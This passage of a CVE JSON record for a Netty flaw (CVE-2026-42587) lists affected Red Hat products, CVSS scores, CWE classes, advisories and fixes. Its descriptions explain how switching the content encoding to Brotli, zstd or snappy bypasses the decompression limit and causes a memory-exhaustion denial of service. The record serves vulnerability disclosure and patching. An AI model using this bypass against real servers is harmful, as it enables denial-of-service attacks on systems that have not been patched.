"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-openshift-rhel9/rhbk-openshift-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-rhel9-operator/rhbk-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel6",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel7",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel8",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-modelmesh-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-spark-operator-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-rocm64-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-trustyai-service-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-trustyai-service-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite:el8/candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-13T18:22:21.699Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T12:04:31.543Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"name": "RHBZ#2477220",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:53644"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:28010"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:53806"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:50085"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:53644: Red Hat JBoss EAP 7.4 ELS for RHEL 7 Server"
},
{
"lang": "en",
"value": "RHSA-2026:28010: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:41951: Red Hat Data Grid 8.6.2"
},
{
"lang": "en",
"value": "RHSA-2026:53806: Red Hat JBoss Enterprise Application Platform 7.4.25"
},
{
"lang": "en",
"value": "RHSA-2026:50085: Red Hat JBoss Enterprise Application Platform 8.1"
},
{
"lang": "en",
"value": "RHSA-2026:42644: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:25123: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:36820: Red Hat OpenShift Dev Spaces 3.29"
},
{
"lang": "en",
"value": "RHSA-2026:37390: Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16"
},
{
"lang": "en",
"value": "RHSA-2026:23808: Red Hat build of Quarkus 3.27.4"
},
{
"lang": "en",
"value": "RHSA-2026:24502: Red Hat build of Quarkus 3.33.2"
},
{
"lang": "en",
"value": "RHSA-2026:34608: Streams for Apache Kafka 2.9.4"
},
{
"lang": "en",
"value": "RHSA-2026:54435: Streams for Apache Kafka 3.2.1"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-13T19:01:35.415Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-13T18:22:21.699Z",
"value": "Made public."
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http2",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T18:22:21.699Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"source": {
"advisory": "GHSA-f6hv-jmp6-3vwv",
"discovery": "UNKNOWN"
},
"title": "Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42587",
"datePublished": "2026-05-13T18:22:21.699Z",
"dateReserved": "2026-04-28T17:26:12.086Z",
"dateUpdated": "2026-08-13T12:04:31.543Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-42587",
"date": "2026-08-29",
"epss": "0.0099",
"percentile": "0.59538"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-42587\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-13T19:17:24.460\",\"lastModified\":\"2026-08-13T13:18:57.117\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"netty\",\"product\":\"netty\",\"versions\":[{\"version\":\"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\",\"status\":\"affected\"},{\"version\":\"\u003c 4.1.133.Final\",\"status\":\"affected\"}]},{\"vendor\":\"io.netty\",\"product\":\"netty-codec-http\",\"versions\":[{\"version\":\"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\",\"status\":\"affected\"},{\"version\":\"\u003c 4.1.133.Final\",\"status\":\"affected\"}]},{\"vendor\":\"io.netty\",\"product\":\"netty-codec-http2\",\"versions\":[{\"version\":\"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\",\"status\":\"affected\"},{\"version\":\"\u003c 4.1.133.Final\",\"status\":\"affected\"}]}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"affectedData\":[{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4 on RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"cryostat/cryostat-reports-rhel9\",\"cpes\":[\"cpe:/a:redhat:cryostat:4::el9\"],\"versions\":[{\"version\":\"4.2.0-10\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4 on RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"cryostat/cryostat-rhel9\",\"cpes\":[\"cpe:/a:redhat:cryostat:4::el9\"],\"versions\":[{\"version\":\"4.2.0-10\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4 on RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"cryostat/jfr-datasource-rhel9\",\"cpes\":[\"cpe:/a:redhat:cryostat:4::el9\"],\"versions\":[{\"version\":\"4.2.0-10\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:apache_camel_spring_boot:4.18\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Quarkus 3.27.4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:quarkus:3.27::el8\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Quarkus 3.33.2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"cpes\":[\"cpe:/a:redhat:quarkus:3.33::el8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Data Grid 8.6.2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:jboss_data_grid:8\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4.25\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7\"],\"versions\":[{\"version\":\"codec-http\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-activemq-artemis\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.16.0-22.redhat_00057.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-glassfish-jsf\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.3.14-11.SP11_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-ironjacamar\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:1.5.26-2.Final_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-annotations\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-core\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-databind\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-jaxrs-providers\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-modules-base\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jackson-modules-java8\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.18.8-1.redhat_00003.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jboss-remoting\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:5.0.31-3.SP2_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-jboss-server-migration\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:1.10.0-46.Final_redhat_00044.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-netty\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:4.1.135-1.Final_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-netty-transport-native-epoll\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:4.1.135-1.Final_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 